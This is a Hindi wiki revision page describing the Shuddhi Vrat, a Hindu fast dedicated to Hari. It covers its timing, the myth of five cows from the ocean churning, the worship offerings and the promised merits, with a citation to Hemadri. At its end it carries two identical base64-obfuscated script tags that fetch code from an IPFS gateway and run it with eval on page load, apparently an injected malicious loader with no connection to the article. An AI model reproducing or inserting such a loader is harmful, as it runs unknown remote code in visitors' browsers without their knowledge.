शुद्धि व्रत: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (शुद्धिव्रत का नाम बदलकर शुद्धि व्रत कर दिया गया है)
m (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
Line 10: Line 10:
*सभी पापों से मुक्ति मिल जाती है।<ref>हेमाद्रि (व्रतखण्ड 1, 1156-1158, [[अग्नि पुराण]] से उद्धरण)।</ref>
*सभी पापों से मुक्ति मिल जाती है।<ref>हेमाद्रि (व्रतखण्ड 1, 1156-1158, [[अग्नि पुराण]] से उद्धरण)।</ref>


{{लेख प्रगति
|आधार=आधार1
|प्रारम्भिक=
|माध्यमिक=
|पूर्णता=
|शोध=
}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

Revision as of 07:27, 7 December 2010

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • शरद के अन्तिम पाँच दिनों पर या बारह मासों की एकादशियों पर होता है।
  • इसका देवता हरि है।
  • जब समुद्र मथा गया तो 5 गौ उदित हुईं।
  • उनसे 5 पवित्र वस्तुएँ उत्पन्न हुईं, यथा–गोबर, गो-रोचना, दूघ, मूत्र, दही, एवं घृत।
  • गोबर से श्रीवृक्ष नामक बिल्ववृक्ष उगा, क्योंकि उस पर लक्ष्मी रहती हैं।
  • गोरोचना से सभी शुभकामनाएँ उत्पन्न हुईं, गोमूत्र से गुग्गुल उत्पन्न् हुआ, गोदुग्ध से विश्व की सम्पूर्ण शक्ति उदित हुई, दही से सभी शुभ वस्तुएँ एवं घृत से सभी समृद्धि उत्पन्न हुईं।
  • अत: दूध, दही, एवं घृत से हरि स्नान एवं गुग्गुल, दीप आदि से ही हरिपूजा की जाती है, पूजा अगस्त्यि पुष्पों से की जाती है।
  • कर्ता को विष्णुलोक की प्राप्ति एवं नरकवासी पितरों को स्वर्ग की प्राप्ति, जलधेनु, घृतधेनु, मधुधेनु का दान दिया जाता है।
  • सभी पापों से मुक्ति मिल जाती है।[1]

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 1, 1156-1158, अग्नि पुराण से उद्धरण)।

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>